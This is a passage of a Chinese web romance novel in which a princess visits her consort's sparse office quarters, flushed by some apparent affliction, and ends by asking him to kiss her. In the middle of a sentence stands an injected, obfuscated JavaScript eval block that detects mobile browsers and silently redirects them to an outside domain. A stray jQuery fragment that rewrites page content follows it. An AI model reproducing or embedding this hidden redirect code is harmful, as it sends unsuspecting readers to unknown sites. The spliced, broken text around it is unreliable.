这小阁中从不熏香,那二位女官也不在室内,唯一可能的来源就那样小小一团地坐在那翻书,叫人恍然。
“殿下。”展钦忽然出声,音调不高,在这寂静的小阁之中却如投入池子的石子一般,惊得容鲤一个轻颤,手中银匙“叮”一声脆响,磕在盏边。
“驸马?”容鲤放下手中的酥山,抬头往展钦处看过去,双瞳澄澈,有些被吓到的惶然,又带着些一见到他就漾起的惊喜。
金雕玉琢的殿下就这样坐在如此简陋的小阁之中,那本杂记小册都被衬得太过粗制滥造,仿佛会割伤她未经一丝苦楚的指尖。
“你忙完啦?”容鲤看着他,颊边生笑。
“殿下何不回府?”展钦微微挑眉,立在门口看着她,“此处……不适合殿下。”
容鲤环顾了一圈,笑眯眯地弯着眉眼:“有何不适合的?”
不等展钦回答,她便起身往他这边走过来,鬓边的金蝶儿一颤一颤的:“我来瞧瞧我夫君平日里在衙署当值不得回家的时候住在哪儿,有何不妥?”
她的双眸亮晶晶的,展钦一眼便能望到底,瞧不见一丝杂质,与从前每一次望向他时便不由得浮起的厌弃截然不同。
展钦微微一怔,就见她一下子凑到自己面前来,垫着脚抬着头看他,带着一种自以为窥破秘密的小小得意:“我知道你为何要我快些回去。”
为何?
自然是因为此处是他不回府邸时的居所,从未有旁人至;更因她此刻的异常情状——氤氲的暖香随着她的靠近更多了些,而她的面颊耳后,皆是一片她显然自己并未察觉的绯红。
展钦不欲在下属面前横生枝节,更不欲揣度她这看似天真无邪的举止下,又藏了多少与从前一样的包藏祸心。
然而,不等他眼底的寒川凝聚,容鲤已然一下子窜到他身后去了:“我早就发现了!你一进来,身子就有意挡着这后头,定是在这儿藏了许多不能叫我发现的秘密。”
展钦不由得随着她的动作转身,发觉身后确实是一面关得严严实实的柜架。
“让我瞧瞧你在这里头藏了什么见不得人的东西。”容鲤动作极快地将这柜架给打开了。
却不想里头什么东西都没有,不过堆着成堆的卷宗。
小殿下瞠目结舌,甚至将头也探进去看了看,不自知地嘀咕道:“不应当,话本子上不是这样写的……”
展钦眸光微动,瞬间了然。
原来如此。
她并非察觉了自身身体的异样,也并非有意以这般情态来搅乱人心。实在是话本子害人,竟连国朝最尊贵的长公主殿下也被荼毒。
荒谬之余,竟有一丝极其微弱的、连他自己都未曾立刻察觉的啼笑皆非之感。
如同看见一只精心打扮着模仿世人模样,却笨拙得连尾巴都忘记缩回去的天真精怪。
展钦面上依旧没什么表情,心底那因她异常状态而升起的警惕与冷意,却悄然被一层更复杂的情绪所覆盖。
三番两次见她,皆与从前截然不同,或许那一场跌马当真跌伤了她,将她的耐性也跌得猛然增长,竟能与他周旋如此之久,演一场如此逼真的大戏。
“殿下多虑了。”他移开目光,不再凝视着容鲤,甚至做了一个“请便”的手势,“衙署重地,一应物品皆有定规,并无甚不可见人之物。殿下若好奇,尽可随意查看。”
他这般坦荡,反倒叫容鲤有些措手不及。
怎么和话本子上所写的全然不同?
他应当一本正经,但难掩慌乱遮掩之色,堂堂长公主殿下轻易就可查抄他的欲盖弥彰,抓到些把柄,然后他就没了法子,只能立即与她和好了。
“查就查。”容鲤眯了眯眼,很不信邪地轻哼了一声,背着手像模像样地在并不宽敞的小阁内踱起步来。
容鲤的目光掠过收拾得一丝不苟的床铺,然而仅一张硬榻瓷枕,连个软垫都不曾见到。
擦得锃亮的兵器架上挂着数把佩刀长剑,书案上堆满公文卷宗,除了笔墨纸砚外再无他物。
干净整洁得近乎寡淡,于富贵窝里长大的长公主殿下而言甚至枯燥乏味,连点人味儿都没有。
容鲤转了一圈,一无所获,颇有些失望地停在了那张书案前。
案上公文堆积,墨迹犹新,一盏点尽了的灯摆在旁边,落下的烛泪粘结成团。她的目光意兴阑珊地扫过,最终落在案角——那里放着一本翻开的、与她方才所翻看的杂记截然不同的兵策笔迹,旁边还有一壶残茶。
茶壶已然见底,里头只躺着几片她从未见过的粗茶。
她的驸马,平日里过的就是这样的日子?
公主府堆金砌玉,舒适非常,而这儿于她而言简直如同书中所言苦行僧的静修室一般。
“你平常就喝这个?我也尝尝。”容鲤皱着眉,仿佛想从茶壶里倒出些残汁来,然而还未把茶壶端起来,另一只骨节分明的手已然擦过了她的手背,将茶壶拿去了。
“殿下玉体,何必委屈自己。”展钦不知何时已悄无声息地站在了她身侧。
容鲤知道他过来不过是为了拿走茶壶,可他近在咫尺,隔着几层袍服,似能感受到他身上传来的暖意。
容鲤的心漏跳一拍,随后又飞快地跳了起来。
被他不经意间擦过的手背肌肤瞬间如同着了火,仿佛一下子点燃了她胸腹之中一直挥之不去的燥意,来势汹汹。
她甚至能够闻到展钦衣裳上独有的冷冽沉香,与她身上那自己并未察觉的暧暧甜香交织在一起,叫她头晕目眩。
“我,我只是想尝尝你喝过的茶是什么味道的。”容鲤慌忙收回了手,喃喃道。
展钦的目光落在她忽然又加深了绯色的耳侧与脖颈上。
她雪肤花颜,一点儿红都显得极为醒目,如今酿成了一片的霞,蔓延到严严实实的氅衣下去。
展钦看着她微微颤抖的眼睫,感觉到那点儿异香显然更多了些。
为求证,轻轻碰了碰她的脸颊。
肌肤下流淌的热意绝非正常,而容鲤因他的触碰颤了颤身子,竟没有躲开,甚至在他抽手之后,抬起湿润的眼儿来,如同控诉一般盯着他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437608|184965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“你的手凉快。”容鲤天真无暇的凤眸里染上晦暗的瑰色,浑然不知自己说的话多石破天惊,仰着一张烧红的小脸儿期盼地看着他,“夫君,再摸摸我罢。”
软糯的,带着不自知的渴求,如同绒羽搔过心间。
展钦撞入她的眼,便觉得她身上愈发馥郁的甜香如同丝网一般,将他紧紧缠缚。
这并非戏弄。
她眼中氤氲的润色,脸颊饱胀的潮红、那几若实质的甜香,皆指向一个他此前仅有怀疑、此刻却几乎可以确定的答案——
殿下的身体,不仅仅有跌马记忆混乱之症,还有一桩更大的问题。
陛下那日在内阁意味深长的叮嘱,那只那他尚未启封的赏赐玉盒,以及此刻容鲤全然悖于寻常的情态……一环一环扣到实处。
展钦掌中运气,将四周的窗口门椟皆紧闭起来。
衙署并非密不透风之地,暗中兴许已有眼睛正在盯着此处小阁。
“殿下面色不佳,似是中了暑热。”展钦的声调仍旧一如既往的平稳,“衙署简陋,医官恐也医术不精,还是即刻回府宣太医诊治为妥。”
又是让她回去!
容鲤被火灼成一团浆糊的脑海之中骤然生出些犟意来。
常言道,事不过三,一而再,再而三地叫她回去,真当她长公主殿下的脾气是泥巴捏的?
“想要我回去,自然可以,你需应承我一件事。”容鲤的眼底燃着涌动的躁意。她显然有些脚步虚软,想要扶着一边的桌案站着,却不免一个踉跄。
展钦下意识扶住那具绵软滚烫的身躯,入手处的灼热温度让他指尖几不可察地一颤。
还未等他稳住容鲤身形,她已如藤蔓般借力缠绕上来,嘴角漾开一丝狡黠的笑,直往他怀里钻。
“殿下!”展钦声音骤沉,试图将她推开。
然而容鲤扒在他官袍上的手指却攥得极紧,滚烫的脸颊隔着衣料偎着他的胸腹,热度几乎要灼伤他。
见展钦僵硬着身子,又不敢强行去掰她的手,容鲤更是大胆地在他身上蹭了蹭,发出小猫似的、满足又难受的喟叹。
“你答应我,和我和好,不许再闹脾气了。”容鲤整个人紧紧地缠在他怀里,又抬起头来看他,一双眼儿眨呀眨,“陪我一块回府,日后也不许住这儿了,否则我今儿绝不肯走。”
“还有,不许再朝我发脾气了,也不许凶我。”
展钦见她这个扭股糖的模样,又听她接二连三地抛出一串儿要求来,头一回明白什么叫打蛇上棍。
容鲤只觉得熨帖极了舒坦极了,蹭了好一会儿,才听得上方的人默然半晌,才从喉头深处挤出一声哂笑:“殿下果真是好谋算,先是要臣应承一件事,继而列了一串儿如此冗长的要求,敢问殿下究竟要哪件?”
容鲤好似充耳不闻,觉得他坚硬的肌骨有些硌人疼,又直接去捞他的手往自己面上放,黏黏糊糊地抛了个新要求出来:“方才那些不可以也罢,合起来只换一个要求。”
“愿闻其详。”
“亲亲我。”